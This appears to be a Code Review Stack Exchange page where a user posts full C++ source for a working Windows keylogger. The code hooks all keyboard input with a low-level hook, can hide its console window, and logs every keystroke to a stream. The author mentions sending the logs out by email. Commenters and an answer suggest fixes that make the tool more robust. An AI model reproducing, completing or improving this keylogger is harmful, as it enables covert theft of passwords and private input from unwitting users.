13
\$\begingroup\$

Windows keylogger in C++

Known issues:

  1. Not implementing rule of five
  2. Having to use hack to use member variables, out_, in static method
  3. Pressing caps-lock won't capitalize letters (I will fix this later)

keylogger.h

#pragma once
#include <string>
#include <Windows.h>

class keylogger
{
public:
    keylogger(std::ostream* out);
    ~keylogger();

    void run() const;
    void hide_window() const;
    void show_window() const;
private:
    void hook();
    void unhook() const;

    static LRESULT CALLBACK hook_process(int code, WPARAM wparam, LPARAM lparam);
    static keylogger* this_;

    HHOOK hhok_;
    std::ostream* out_;
};


keylogger.cpp

#include "keylogger.h"

keylogger* keylogger::this_ = NULL;

keylogger::keylogger(std::ostream* out)
    : out_(out)
{
    this_ = this;
    hook();
}

keylogger::~keylogger()
{
    unhook();
}

void keylogger::run() const
{
    MSG msg = { 0 };
    while (GetMessage(&msg, NULL, 0, 0) > 0)
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
}

void keylogger::hide_window() const
{
    ShowWindow(GetConsoleWindow(), SW_HIDE);
}

void keylogger::show_window() const
{
    ShowWindow(GetConsoleWindow(), SW_SHOW);
}

void keylogger::hook()
{
    hhok_ = SetWindowsHookEx(WH_KEYBOARD_LL, hook_process, NULL, 0);
}

void keylogger::unhook() const
{
    UnhookWindowsHookEx(hhok_);
}

LRESULT CALLBACK keylogger::hook_process(int code, WPARAM wparam, LPARAM lparam)
{
    if (code == HC_ACTION)
    {
        std::string key;
        KBDLLHOOKSTRUCT* kbs = (KBDLLHOOKSTRUCT*)lparam;
        if (wparam == WM_KEYDOWN || wparam == WM_SYSKEYDOWN)
        {
            bool shift_down = GetAsyncKeyState(VK_SHIFT);
            switch (kbs->vkCode)
            {
            case 0x08: key = "[BACKSPACE]"; break;
            case 0x09: key = "[TAB]";       break;
            case 0x0D: key = "[NEWLINE]";   break;
            case 0x13: key = "[PAUSE]";     break;
            case 0x14: key = "[CAPS LOCK]"; break;
            case 0x20: key = "[SPACE]";     break;
            case 0x25: key = "[LEFT]";      break;
            case 0x26: key = "[UP]";        break;
            case 0x27: key = "[RIGHT]";     break;
            case 0x28: key = "[DOWN]";      break;
            case 0x2E: key = "[DELETE]";    break;
            case 0x30: (!shift_down) ? key = "0" : key = ")";   break;
            case 0x31: (!shift_down) ? key = "1" : key = "!";   break;
            case 0x32: (!shift_down) ? key = "2" : key = "@";   break;
            case 0x33: (!shift_down) ? key = "3" : key = "#";   break;
            case 0x34: (!shift_down) ? key = "4" : key = "$";   break;
            case 0x35: (!shift_down) ? key = "5" : key = "%";   break;
            case 0x36: (!shift_down) ? key = "6" : key = "^";   break;
            case 0x37: (!shift_down) ? key = "7" : key = "&";   break;
            case 0x38: (!shift_down) ? key = "8" : key = "*";   break;
            case 0x39: (!shift_down) ? key = "9" : key = "(";   break;
            case 0x41: (!shift_down) ? key = "a" : key = "A";   break;
            case 0x42: (!shift_down) ? key = "b" : key = "B";   break;
            case 0x43: (!shift_down) ? key = "c" : key = "C";   break;
            case 0x44: (!shift_down) ? key = "d" : key = "D";   break;
            case 0x45: (!shift_down) ? key = "e" : key = "E";   break;
            case 0x46: (!shift_down) ? key = "f" : key = "F";   break;
            case 0x47: (!shift_down) ? key = "g" : key = "G";   break;
            case 0x48: (!shift_down) ? key = "h" : key = "H";   break;
            case 0x49: (!shift_down) ? key = "i" : key = "I";   break;
            case 0x4A: (!shift_down) ? key = "j" : key = "J";   break;
            case 0x4B: (!shift_down) ? key = "k" : key = "K";   break;
            case 0x4C: (!shift_down) ? key = "l" : key = "L";   break;
            case 0x4D: (!shift_down) ? key = "m" : key = "M";   break;
            case 0x4E: (!shift_down) ? key = "n" : key = "N";   break;
            case 0x4F: (!shift_down) ? key = "o" : key = "O";   break;
            case 0x50: (!shift_down) ? key = "p" : key = "P";   break;
            case 0x51: (!shift_down) ? key = "q" : key = "Q";   break;
            case 0x52: (!shift_down) ? key = "r" : key = "R";   break;
            case 0x53: (!shift_down) ? key = "s" : key = "S";   break;
            case 0x54: (!shift_down) ? key = "t" : key = "T";   break;
            case 0x55: (!shift_down) ? key = "u" : key = "U";   break;
            case 0x56: (!shift_down) ? key = "v" : key = "V";   break;
            case 0x57: (!shift_down) ? key = "w" : key = "W";   break;
            case 0x58: (!shift_down) ? key = "x" : key = "X";   break;
            case 0x59: (!shift_down) ? key = "y" : key = "Y";   break;
            case 0x5A: (!shift_down) ? key = "z" : key = "Z";   break;
            case 0x60: (!shift_down) ? key = "0" : key = "0";   break;
            case 0x61: (!shift_down) ? key = "1" : key = "1";   break;
            case 0x62: (!shift_down) ? key = "2" : key = "2";   break;
            case 0x63: (!shift_down) ? key = "3" : key = "3";   break;
            case 0x64: (!shift_down) ? key = "4" : key = "4";   break;
            case 0x65: (!shift_down) ? key = "5" : key = "5";   break;
            case 0x66: (!shift_down) ? key = "6" : key = "6";   break;
            case 0x67: (!shift_down) ? key = "7" : key = "7";   break;
            case 0x68: (!shift_down) ? key = "8" : key = "8";   break;
            case 0x69: (!shift_down) ? key = "9" : key = "9";   break;
            case 0x6A: (!shift_down) ? key = "*" : key = "*";   break;
            case 0x6B: (!shift_down) ? key = "+" : key = "+";   break;
            case 0x6D: (!shift_down) ? key = "-" : key = "-";   break;
            case 0x6E: (!shift_down) ? key = "." : key = ".";   break;
            case 0x6F: (!shift_down) ? key = "/" : key = "/";   break;
            case 0xBA: (!shift_down) ? key = ";" : key = ":";   break;
            case 0xBB: (!shift_down) ? key = "=" : key = "+";   break;
            case 0xBC: (!shift_down) ? key = "," : key = "<";   break;
            case 0xBD: (!shift_down) ? key = "-" : key = "_";   break;
            case 0xBE: (!shift_down) ? key = "." : key = ">";   break;
            case 0xBF: (!shift_down) ? key = "/" : key = "?";   break;
            case 0xC0: (!shift_down) ? key = "`" : key = "~";   break;
            case 0xDB: (!shift_down) ? key = "[" : key = "{";   break;
            case 0xDC: (!shift_down) ? key = "\\" : key = "|";  break;
            case 0xDD: (!shift_down) ? key = "]" : key = "}";   break;
            case 0xDE: (!shift_down) ? key = "'" : key = "\"";  break;
            }
        }
        *(this_->out_) << key;
    }
    return CallNextHookEx(NULL, code, wparam, lparam);
}
\$\endgroup\$
  • 1
    \$\begingroup\$ Are there keyboard scan codes or just actual ASCII codes? If the latter it's better to just interpret the vkCode as char (calling toupper-like function if needed), without a lot of case-break labels (which is very error-prone because the break is easy to forget, leaving a fallthrough) \$\endgroup\$ – trolley813 Apr 16 '19 at 10:19
  • \$\begingroup\$ @trolley813 It's not ASCII, but 0x41 to 0x5A matches all uppercase letters from A-Z in the ASCII table. So that's a great idea. \$\endgroup\$ – user644361 Apr 16 '19 at 10:29
  • \$\begingroup\$ Even if it isn't it may be good to write a conversion function (which can be far easier because 0x41 to 0x5a (and 0x30 to 0x39) match to the corresponding ranges in ASCII) \$\endgroup\$ – trolley813 Apr 16 '19 at 10:31
  • \$\begingroup\$ I'm wondering how the keylogger class is being used... is it created and used in a main function? \$\endgroup\$ – TrebledJ Apr 17 '19 at 11:21
  • \$\begingroup\$ @TrebledJ yes, you just create an instance passing it an std::ostream, and call run. This should be threaded, so you can periodically send to email, etc. \$\endgroup\$ – user644361 Apr 17 '19 at 11:28
1
\$\begingroup\$

It's an old review, but I tried the code out, so, some pointers:

  • keylogger.h is missing #include <ostream> - your code is not complete without it.

  • Instantiating the keylogger with a pointer to an ostream without checking for nullptr is unsafe. Take it by reference instead. You can still store a pointer though.

  • Every keylogger instance will overwrite the static this_ and this_->out_ will be used for output instead of using the ostream that was supplied when constructing the keylogger instance. This is very confusing for a user. Either:

    1. If only one ostream is supposed to be used, make keylogger a proper singleton.
    2. Install a unique hook for each thread (set dwThreadId to GetCurrentThreadId()) and make out_ a static thread_local instead.
  • The keylogger doesn't stop its run() loop when the keylogger goes out of scope. It should probably be self-installing and uninstalling itself when going out of scope. Something is left unhandled in that department.

  • The return value from SetWindowsHookEx isn't checked - throw if installing the hook fails.

Those are just some things to deal with to improve the logger a bit.

| improve this answer | |
\$\endgroup\$

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.